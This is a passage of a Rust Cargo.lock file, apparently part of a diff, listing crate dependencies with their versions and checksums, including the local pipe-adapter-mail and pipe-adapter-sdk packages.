"b6d2cec3eae94f9f509c767b45932f1ada8350c4bdb85af2fcab4a3c14807981" + +[[package]] +name = "libredox" +version = "0.1.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7ddbf48fd451246b1f8c2610bd3b4ac0cc6e149d89832867093ab69a17194f08" +dependencies = [ + "bitflags 2.11.0", + "libc", + "plain", + "redox_syscall 0.7.3", +] + +[[package]] +name = "libsqlite3-sys" +version = "0.30.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2e99fb7a497b1e3339bc746195567ed8d3e24945ecd636e3619d20b9de9e9149" +dependencies = [ + "pkg-config", + "vcpkg", +] + +[[package]] +name = "linked-hash-map" +version = "0.5.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0717cef1bc8b636c6e1c1bbdefc09e6322da8a9321966e8928ef80d20f7f770f" + +[[package]] +name = "linux-raw-sys" +version = "0.3.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ef53942eb7bf7ff43a617b3e2c1c4a5ecf5944a7c1bc12d7ee39bbb15e5c1519" + +[[package]] +name = "linux-raw-sys" +version = "0.4.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d26c52dbd32dccf2d10cac7725f8eae5296885fb5703b261f7d0a0739ec807ab" + +[[package]] +name = "linux-raw-sys" +version = "0.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32a66949e030da00e8c7d4434b251670a91556f4144941d37452769c25d58a53" + +[[package]] +name = "litemap" +version = "0.8.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "92daf443525c4cce67b150400bc2316076100ce0b3686209eb8cf3c31612e6f0" + +[[package]] +name = "local-channel" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b6cbc85e69b8df4b8bb8b89ec634e7189099cea8927a276b7384ce5488e53ec8" +dependencies = [ + "futures-core", + "futures-sink", + "local-waker", +] + +[[package]] +name = "local-waker" +version = "0.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4d873d7c67ce09b42110d801813efbc9364414e356be9935700d368351657487" + +[[package]] +name = "lock_api" +version = "0.4.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "224399e74b87b5f3557511d98dff8b14089b3dadafcab6bb93eab67d3aace965" +dependencies = [ + "scopeguard", +] + +[[package]] +name = "log" +version = "0.4.29" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5e5032e24019045c762d3c0f28f5b6b8bbf38563a65908389bf7978758920897" +dependencies = [ + "value-bag", +] + +[[package]] +name = "mailparse" +version = "0.16.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "60819a97ddcb831a5614eb3b0174f3620e793e97e09195a395bfa948fd68ed2f" +dependencies = [ + "charset", + "data-encoding", + "quoted_printable", +] + +[[package]] +name = "matchers" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d1525a2a28c7f4fa0fc98bb91ae755d1e2d1505079e05539e35bc876b5d65ae9" +dependencies = [ + "regex-automata", +] + +[[package]] +name = "matchit" +version = "0.7.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0e7465ac9959cc2b1404e8e2367b43684a6d13790fe23056cc8c6c5a6b7bcb94" + +[[package]] +name = "md-5" +version = "0.10.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d89e7ee0cfbedfc4da3340218492196241d89eefb6dab27de5df917a6d2e78cf" +dependencies = [ + "cfg-if", + "digest 0.10.7", +] + +[[package]] +name = "md5" +version = "0.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "490cc448043f947bae3cbee9c203358d62dbee0db12107a74be5c30ccfd09771" + +[[package]] +name = "memchr" +version = "2.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f8ca58f447f06ed17d5fc4043ce1b10dd205e060fb3ce5b979b8ed8e59ff3f79" + +[[package]] +name = "mime" +version = "0.3.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6877bb514081ee2a7ff5ef9de3281f14a4dd4bceac4c09388074a6b5df8a139a" + +[[package]] +name = "mime_guess" +version = "2.0.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f7c44f8e672c00fe5308fa235f821cb4198414e1c77935c1ab6948d3fd78550e" +dependencies = [ + "mime", + "unicase", +] + +[[package]] +name = "mini-moka" +version = "0.10.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c325dfab65f261f386debee8b0969da215b3fa0037e74c8a1234db7ba986d803" +dependencies = [ + "crossbeam-channel", + "crossbeam-utils", + "dashmap", + "skeptic", + "smallvec", + "tagptr", + "triomphe", +] + +[[package]] +name = "minicov" +version = "0.3.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4869b6a491569605d66d3952bcdf03df789e5b536e5f0cf7758a7f08a55ae24d" +dependencies = [ + "cc", + "walkdir", +] + +[[package]] +name = "minimal-lexical" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "68354c5c6bd36d73ff3feceb05efa59b6acb7626617f4962be322a825e61f79a" + +[[package]] +name = "miniz_oxide" +version = "0.8.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1fa76a2c86f704bdb222d66965fb3d63269ce38518b83cb0575fca855ebb6316" +dependencies = [ + "adler2", + "simd-adler32", +] + +[[package]] +name = "mio" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "50b7e5b27aa02a74bac8c3f23f448f8d87ff11f92d3aac1a6ed369ee08cc56c1" +dependencies = [ + "libc", + "log", + "wasi 0.11.1+wasi-snapshot-preview1", + "windows-sys 0.61.2", +] + +[[package]] +name = "mockito" +version = "1.7.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "90820618712cab19cfc46b274c6c22546a82affcb3c3bdf0f29e3db8e1bb92c0" +dependencies = [ + "assert-json-diff", + "bytes", + "colored", + "futures-core", + "http 1.4.0", + "http-body 1.0.1", + "http-body-util", + "hyper 1.9.0", + "hyper-util", + "log", + "pin-project-lite", + "rand 0.9.2", + "regex", + "serde_json", + "serde_urlencoded", + "similar", + "tokio", +] + +[[package]] +name = "multimap" +version = "0.10.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1d87ecb2933e8aeadb3e3a02b828fed80a7528047e68b4f424523a0981a3a084" + +[[package]] +name = "mutually_exclusive_features" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e94e1e6445d314f972ff7395df2de295fe51b71821694f0b0e1e79c4f12c8577" + +[[package]] +name = "native-tls" +version = "0.2.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "465500e14ea162429d264d44189adc38b199b62b1c21eea9f69e4b73cb03bbf2" +dependencies = [ + "libc", + "log", + "openssl", + "openssl-probe 0.2.1", + "openssl-sys", + "schannel", + "security-framework 3.7.0", + "security-framework-sys", + "tempfile", +] + +[[package]] +name = "nix" +version = "0.29.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "71e2746dc3a24dd78b3cfcb7be93368c6de9963d30f43a6a73998a9cf4b17b46" +dependencies = [ + "bitflags 2.11.0", + "cfg-if", + "cfg_aliases", + "libc", +] + +[[package]] +name = "no-std-compat" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b93853da6d84c2e3c7d730d6473e8817692dd89be387eb01b94d7f108ecb5b8c" +dependencies = [ + "spin 0.5.2", +] + +[[package]] +name = "nom" +version = "7.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d273983c5a657a70a3e8f2a01329822f3b8c8172b73826411a55751e404a0a4a" +dependencies = [ + "memchr", + "minimal-lexical", +] + +[[package]] +name = "nom" +version = "8.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "df9761775871bdef83bee530e60050f7e54b1105350d6884eb0fb4f46c2f9405" +dependencies = [ + "memchr", +] + +[[package]] +name = "nom_locate" +version = "5.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0b577e2d69827c4740cba2b52efaad1c4cc7c73042860b199710b3575c68438d" +dependencies = [ + "bytecount", + "memchr", + "nom 8.0.0", +] + +[[package]] +name = "normalize-line-endings" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "61807f77802ff30975e01f4f071c8ba10c022052f98b3294119f3e615d13e5be" + +[[package]] +name = "nu-ansi-term" +version = "0.50.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7957b9740744892f114936ab4a57b3f487491bbeafaf8083688b16841a4240e5" +dependencies = [ + "windows-sys 0.61.2", +] + +[[package]] +name = "num-bigint" +version = "0.4.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a5e44f723f1133c9deac646763579fdb3ac745e418f2a7af9cd0c431da1f20b9" +dependencies = [ + "num-integer", + "num-traits", + "rand 0.8.5", +] + +[[package]] +name = "num-bigint-dig" +version = "0.8.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e661dda6640fad38e827a6d4a310ff4763082116fe217f279885c97f511bb0b7" +dependencies = [ + "lazy_static", + "libm", + "num-integer", + "num-iter", + "num-traits", + "rand 0.8.5", + "serde", + "smallvec", + "zeroize", +] + +[[package]] +name = "num-conv" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c6673768db2d862beb9b39a78fdcb1a69439615d5794a1be50caa9bc92c81967" + +[[package]] +name = "num-integer" +version = "0.1.46" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7969661fd2958a5cb096e56c8e1ad0444ac2bbcd0061bd28660485a44879858f" +dependencies = [ + "num-traits", +] + +[[package]] +name = "num-iter" +version = "0.1.45" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1429034a0490724d0075ebb2bc9e875d6503c3cf69e235a8941aa757d83ef5bf" +dependencies = [ + "autocfg", + "num-integer", + "num-traits", +] + +[[package]] +name = "num-traits" +version = "0.2.19" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "071dfc062690e90b734c0b2273ce72ad0ffa95f0c74596bc250dcfd960262841" +dependencies = [ + "autocfg", + "libm", +] + +[[package]] +name = "num_cpus" +version = "1.17.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "91df4bbde75afed763b708b7eee1e8e7651e02d97f6d5dd763e89367e957b23b" +dependencies = [ + "hermit-abi 0.5.2", + "libc", +] + +[[package]] +name = "number_prefix" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "830b246a0e5f20af87141b25c173cd1b609bd7779a4617d6ec582abaf90870f3" + +[[package]] +name = "oid-registry" +version = "0.8.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "12f40cff3dde1b6087cc5d5f5d4d65712f34016a03ed60e9c08dcc392736b5b7" +dependencies = [ + "asn1-rs", +] + +[[package]] +name = "once_cell" +version = "1.21.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9f7c3e4beb33f85d45ae3e3a1792185706c8e16d043238c593331cc7cd313b50" +dependencies = [ + "portable-atomic", +] + +[[package]] +name = "once_cell_polyfill" +version = "1.70.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "384b8ab6d37215f3c5301a95a4accb5d64aa607f1fcb26a11b5303878451b4fe" + +[[package]] +name = "oorandom" +version = "11.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d6790f58c7ff633d8771f42965289203411a5e5c68388703c06e14f24770b41e" + +[[package]] +name = "opaque-debug" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c08d65885ee38876c4f86fa503fb49d7b507c2b62552df7c70b2fce627e06381" + +[[package]] +name = "openssl" +version = "0.10.76" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "951c002c75e16ea2c65b8c7e4d3d51d5530d8dfa7d060b4776828c88cfb18ecf" +dependencies = [ + "bitflags 2.11.0", + "cfg-if", + "foreign-types", + "libc", + "once_cell", + "openssl-macros", + "openssl-sys", +] + +[[package]] +name = "openssl-macros" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a948666b637a0f465e8564c73e89d4dde00d72d4d473cc972f390fc3dcee7d9c" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "openssl-probe" +version = "0.1.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d05e27ee213611ffe7d6348b942e8f942b37114c00cc03cec254295a4a17852e" + +[[package]] +name = "openssl-probe" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7c87def4c32ab89d880effc9e097653c8da5d6ef28e6b539d313baaacfbafcbe" + +[[package]] +name = "openssl-sys" +version = "0.9.112" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "57d55af3b3e226502be1526dfdba67ab0e9c96fc293004e79576b2b9edb0dbdb" +dependencies = [ + "cc", + "libc", + "pkg-config", + "vcpkg", +] + +[[package]] +name = "ordered-multimap" +version = "0.4.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ccd746e37177e1711c20dd619a1620f34f5c8b569c53590a72dedd5344d8924a" +dependencies = [ + "dlv-list", + "hashbrown 0.12.3", +] + +[[package]] +name = "p12-keystore" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3cae83056e7cb770211494a0ecf66d9fa7eba7d00977e5bb91f0e925b40b937f" +dependencies = [ + "cbc", + "cms", + "der 0.7.10", + "des", + "hex", + "hmac", + "pkcs12", + "pkcs5", + "rand 0.9.2", + "rc2", + "sha1 0.10.6", + "sha2 0.10.9", + "thiserror 2.0.18", + "x509-parser", +] + +[[package]] +name = "p256" +version = "0.13.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c9863ad85fa8f4460f9c48cb909d38a0d689dba1f6f6988a5e3e0d31071bcd4b" +dependencies = [ + "ecdsa", + "elliptic-curve", + "primeorder", + "sha2 0.10.9", +] + +[[package]] +name = "p384" +version = "0.13.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fe42f1670a52a47d448f14b6a5c61dd78fce51856e68edaa38f7ae3a46b8d6b6" +dependencies = [ + "ecdsa", + "elliptic-curve", + "primeorder", + "sha2 0.10.9", +] + +[[package]] +name = "p521" +version = "0.13.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0fc9e2161f1f215afdfce23677034ae137bbd45016a880c2eb3ba8eb95f085b2" +dependencies = [ + "base16ct 0.2.0", + "ecdsa", + "elliptic-curve", + "primeorder", + "rand_core 0.6.4", + "sha2 0.10.9", +] + +[[package]] +name = "pageant" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1b537f975f6d8dcf48db368d7ec209d583b015713b5df0f5d92d2631e4ff5595" +dependencies = [ + "byteorder", + "bytes", + "delegate", + "futures", + "log", + "rand 0.8.5", + "sha2 0.10.9", + "thiserror 1.0.69", + "tokio", + "windows", + "windows-strings", +] + +[[package]] +name = "parking" +version = "2.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f38d5652c16fde515bb1ecef450ab0f6a219d619a7274976324d5e377f7dceba" + +[[package]] +name = "parking_lot" +version = "0.12.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "93857453250e3077bd71ff98b6a65ea6621a19bb0f559a85248955ac12c45a1a" +dependencies = [ + "lock_api", + "parking_lot_core", +] + +[[package]] +name = "parking_lot_core" +version = "0.9.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2621685985a2ebf1c516881c026032ac7deafcda1a2c9b7850dc81e3dfcb64c1" +dependencies = [ + "cfg-if", + "libc", + "redox_syscall 0.5.18", + "smallvec", + "windows-link", +] + +[[package]] +name = "parse-zoneinfo" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1f2a05b18d44e2957b88f96ba460715e295bc1d7510468a2f3d3b44535d26c24" +dependencies = [ + "regex", +] + +[[package]] +name = "password-hash" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "346f04948ba92c43e8469c1ee6736c7563d71012b17d40745260fe106aac2166" +dependencies = [ + "base64ct", + "rand_core 0.6.4", + "subtle", +] + +[[package]] +name = "paste" +version = "1.0.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "57c0d7b74b563b49d38dae00a0c37d4d6de9b432382b2892f0574ddcae73fd0a" + +[[package]] +name = "pastey" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "35fb2e5f958ec131621fdd531e9fc186ed768cbe395337403ae56c17a74c68ec" + +[[package]] +name = "pathdiff" +version = "0.2.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "df94ce210e5bc13cb6651479fa48d14f601d9858cfe0467f43ae157023b938d3" + +[[package]] +name = "pbkdf2" +version = "0.12.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f8ed6a7761f76e3b9f92dfb0a60a6a6477c61024b775147ff0973a02653abaf2" +dependencies = [ + "digest 0.10.7", + "hmac", +] + +[[package]] +name = "peg" +version = "0.6.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9f76678828272f177ac33b7e2ac2e3e73cc6c1cd1e3e387928aa69562fa51367" +dependencies = [ + "peg-macros", + "peg-runtime", +] + +[[package]] +name = "peg-macros" +version = "0.6.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "636d60acf97633e48d266d7415a9355d4389cea327a193f87df395d88cd2b14d" +dependencies = [ + "peg-runtime", + "proc-macro2", + "quote", +] + +[[package]] +name = "peg-runtime" +version = "0.6.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9555b1514d2d99d78150d3c799d4c357a3e2c2a8062cd108e93a06d9057629c5" + +[[package]] +name = "pem-rfc7468" +version = "0.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "88b39c9bfcfc231068454382784bb460aae594343fb030d46e9f50a645418412" +dependencies = [ + "base64ct", +] + +[[package]] +name = "pem-rfc7468" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a6305423e0e7738146434843d1694d621cce767262b2a86910beab705e4493d9" +dependencies = [ + "base64ct", +] + +[[package]] +name = "percent-encoding" +version = "2.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9b4f627cb1b25917193a259e49bdad08f671f8d9708acfd5fe0a8c1455d87220" + +[[package]] +name = "pest" +version = "2.8.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e0848c601009d37dfa3430c4666e147e49cdcf1b92ecd3e63657d8a5f19da662" +dependencies = [ + "memchr", + "ucd-trie", +] + +[[package]] +name = "pest_derive" +version = "2.8.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "11f486f1ea21e6c10ed15d5a7c77165d0ee443402f0780849d1768e7d9d6fe77" +dependencies = [ + "pest", + "pest_generator", +] + +[[package]] +name = "pest_generator" +version = "2.8.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8040c4647b13b210a963c1ed407c1ff4fdfa01c31d6d2a098218702e6664f94f" +dependencies = [ + "pest", + "pest_meta", + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "pest_meta" +version = "2.8.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "89815c69d36021a140146f26659a81d6c2afa33d216d736dd4be5381a7362220" +dependencies = [ + "pest", + "sha2 0.10.9", +] + +[[package]] +name = "petgraph" +version = "0.6.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b4c5cc86750666a3ed20bdaf5ca2a0344f9c67674cae0515bec2da16fbaa47db" +dependencies = [ + "fixedbitset", + "indexmap 2.14.0", +] + +[[package]] +name = "phf" +version = "0.11.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1fd6780a80ae0c52cc120a26a1a42c1ae51b247a253e4e06113d23d2c2edd078" +dependencies = [ + "phf_shared", +] + +[[package]] +name = "phf_codegen" +version = "0.11.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "aef8048c789fa5e851558d709946d6d79a8ff88c0440c587967f8e94bfb1216a" +dependencies = [ + "phf_generator", + "phf_shared", +] + +[[package]] +name = "phf_generator" +version = "0.11.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3c80231409c20246a13fddb31776fb942c38553c51e871f8cbd687a4cfb5843d" +dependencies = [ + "phf_shared", + "rand 0.8.5", +] + +[[package]] +name = "phf_shared" +version = "0.11.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "67eabc2ef2a60eb7faa00097bd1ffdb5bd28e62bf39990626a582201b7a754e5" +dependencies = [ + "siphasher", +] + +[[package]] +name = "pin-project" +version = "1.1.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f1749c7ed4bcaf4c3d0a3efc28538844fb29bcdd7d2b67b2be7e20ba861ff517" +dependencies = [ + "pin-project-internal", +] + +[[package]] +name = "pin-project-internal" +version = "1.1.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d9b20ed30f105399776b9c883e68e536ef602a16ae6f596d2c473591d6ad64c6" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "pin-project-lite" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a89322df9ebe1c1578d689c92318e070967d1042b512afbe49518723f4e6d5cd" + +[[package]] +name = "pin-utils" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184" + +[[package]] +name = "pinky-swear" +version = "6.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b1ea6e230dd3a64d61bcb8b79e597d3ab6b4c94ec7a234ce687dd718b4f2e657" +dependencies = [ + "doc-comment", + "flume", + "parking_lot", + "tracing", +] + +[[package]] +name = "pipe-adapter-mail" +version = "0.1.0" +dependencies = [ + "async-imap", + "async-native-tls", + "async-pop", + "async-std", + "async-trait", + "futures-util", + "lettre", + "mailparse", + "pipe-adapter-sdk", + "serde", + "serde_json", + "thiserror 1.0.69", + "tokio", +] + +[[package]] +name = "pipe-adapter-sdk" +version = "0.1.0" +dependencies = [ + "async-trait", + "serde", + "serde_json", + "thiserror 1.0.69", +] + +[[package]] +name = "piper" +version = "0.2.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c835479a4443ded371d6c535cbfd8d31ad92c5d23ae9770a61bc155e4992a3c1" +dependencies = [ + "atomic-waker", + "fastrand 2.4.1", + "futures-io", +] + +[[package]] +name = "pkcs1" +version = "0.7.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c8ffb9f10fa047879315e6625af03c164b16962a5368d724ed16323b68ace47f" +dependencies = [ + "der 0.7.10", + "pkcs8 0.10.2", + "spki 0.7.3", +] + +[[package]] +name = "pkcs1" +version = "0.8.0-rc.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "986d2e952779af96ea048f160fd9194e1751b4faea78bcf3ceb456efe008088e" +dependencies = [ + "der 0.8.0", + "spki 0.8.0", +] + +[[package]] +name = "pkcs12" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "695b3df3d3cc1015f12d70235e35b6b79befc5fa7a9b95b951eab1dd07c9efc2" +dependencies = [ + "cms", + "const-oid 0.9.6", + "der 0.7.10", + "digest 0.10.7", + "spki 0.7.3", + "x509-cert", + "zeroize", +] + +[[package]] +name = "pkcs5" +version = "0.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e847e2c91a18bfa887dd028ec33f2fe6f25db77db3619024764914affe8b69a6" +dependencies = [ + "aes", + "cbc", + "der 0.7.10", + "pbkdf2", + "scrypt", + "sha2 0.10.9", + "spki 0.7.3", +] + +[[package]] +name = "pkcs8" +version = "0.10.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f950b2377845cebe5cf8b5165cb3cc1a5e0fa5cfa3e1f7f55707d8fd82e0a7b7" +dependencies = [ + "der 0.7.10", + "pkcs5", + "rand_core 0.6.4", + "spki 0.7.3", +] + +[[package]] +name = "pkcs8" +version = "0.11.0-rc.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "12922b6296c06eb741b02d7b5161e3aaa22864af38dfa025a1a3ba3f68c84577" +dependencies = [ + "der 0.8.0", + "spki 0.8.0", +] + +[[package]] +name = "pkg-config" +version = "0.3.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7edddbd0b52d732b21ad9a5fab5c704c14cd949e5e9a1ec5929a24fded1b904c" + +[[package]] +name = "plain" +version = "0.2.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b4596b6d070b27117e987119b4dac604f3c58cfb0b191112e24771b2faeac1a6" + +[[package]] +name = "polling" +version = "2.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4b2d323e8ca7996b3e23126511a523f7e62924d93ecd5ae73b333815b0eb3dce" +dependencies = [ + "autocfg", + "bitflags 1.3.2", + "cfg-if", + "concurrent-queue", + "libc", + "log", + "pin-project-lite", + "windows-sys 0.48.0", +] + +[[package]] +name = "polling" +version = "3.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5d0e4f59085d47d8241c88ead0f274e8a0cb551f3625263c05eb8dd897c34218" +dependencies = [ + "cfg-if", + "concurrent-queue", + "hermit-abi 0.5.2", + "pin-project-lite", + "rustix 1.1.4", + "windows-sys 0.61.2", +] + +[[package]] +name = "poly1305" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8159bd90725d2df49889a078b54f4f79e87f1f8a8444194cdca81d38f5393abf" +dependencies = [ + "cpufeatures 0.2.17", + "opaque-debug", + "universal-hash", +] + +[[package]] +name = "polyval" +version = "0.6.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9d1fe60d06143b2430aa532c94cfe9e29783047f06c0d7fd359a9a51b729fa25" +dependencies = [ + "cfg-if", + "cpufeatures 0.2.17", + "opaque-debug", + "universal-hash", +] + +[[package]] +name = "portable-atomic" +version = "1.13.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c33a9471896f1c69cecef8d20cbe2f7accd12527ce60845ff44c153bb2a21b49" + +[[package]] +name = "potential_utf" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0103b1cef7ec0cf76490e969665504990193874ea05c85ff9bab8b911d0a0564" +dependencies = [ + "zerovec", +] + +[[package]] +name = "powerfmt" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "439ee305def115ba05938db6eb1644ff94165c5ab5e9420d1c1bcedbba909391" + +[[package]] +name = "ppv-lite86" +version = "0.2.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "85eae3c4ed2f50dcfe72643da4befc30deadb458a9b590d720cde2f2b1e97da9" +dependencies = [ + "zerocopy", +] + +[[package]] +name = "predicates" +version = "3.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ada8f2932f28a27ee7b70dd6c1c39ea0675c55a36879ab92f3a715eaa1e63cfe" +dependencies = [ + "anstyle", + "difflib", + "float-cmp", + "normalize-line-endings", + "predicates-core", + "regex", +] + +[[package]] +name = "predicates-core" +version = "1.0.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cad38746f3166b4031b1a0d39ad9f954dd291e7854fcc0eed52ee41a0b50d144" + +[[package]] +name = "predicates-tree" +version = "1.0.13" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d0de1b847b39c8131db0467e9df1ff60e6d0562ab8e9a16e568ad0fdb372e2f2" +dependencies = [ + "predicates-core", + "termtree", +] + +[[package]] +name = "prettyplease" +version = "0.2.37" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "479ca8adacdd7ce8f1fb39ce9ecccbfe93a3f1344b3d0d97f20bc0196208f62b" +dependencies = [ + "proc-macro2", + "syn 2.0.117", +] + +[[package]] +name = "primeorder" +version = "0.13.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "353e1ca18966c16d9deb1c69278edbc5f194139612772bd9537af60ac231e1e6" +dependencies = [ + "elliptic-curve", +] + +[[package]] +name = "proc-macro-error" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "da25490ff9892aab3fcf7c36f08cfb902dd3e71ca0f9f9517bea02a73a5ce38c" +dependencies = [ + "proc-macro-error-attr", + "proc-macro2", + "quote", + "syn 1.0.109", + "version_check", +] + +[[package]] +name = "proc-macro-error-attr" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a1be40180e52ecc98ad80b184934baf3d0d29f979574e439af5a55274b35f869" +dependencies = [ + "proc-macro2", + "quote", + "version_check", +] + +[[package]] +name = "proc-macro-error-attr2" +version = "2.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "96de42df36bb9bba5542fe9f1a054b8cc87e172759a1868aa05c1f3acc89dfc5" +dependencies = [ + "proc-macro2", + "quote", +] + +[[package]] +name = "proc-macro-error2" +version = "2.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "11ec05c52be0a07b08061f7dd003e7d7092e0472bc731b4af7bb1ef876109802" +dependencies = [ + "proc-macro-error-attr2", + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "proc-macro2" 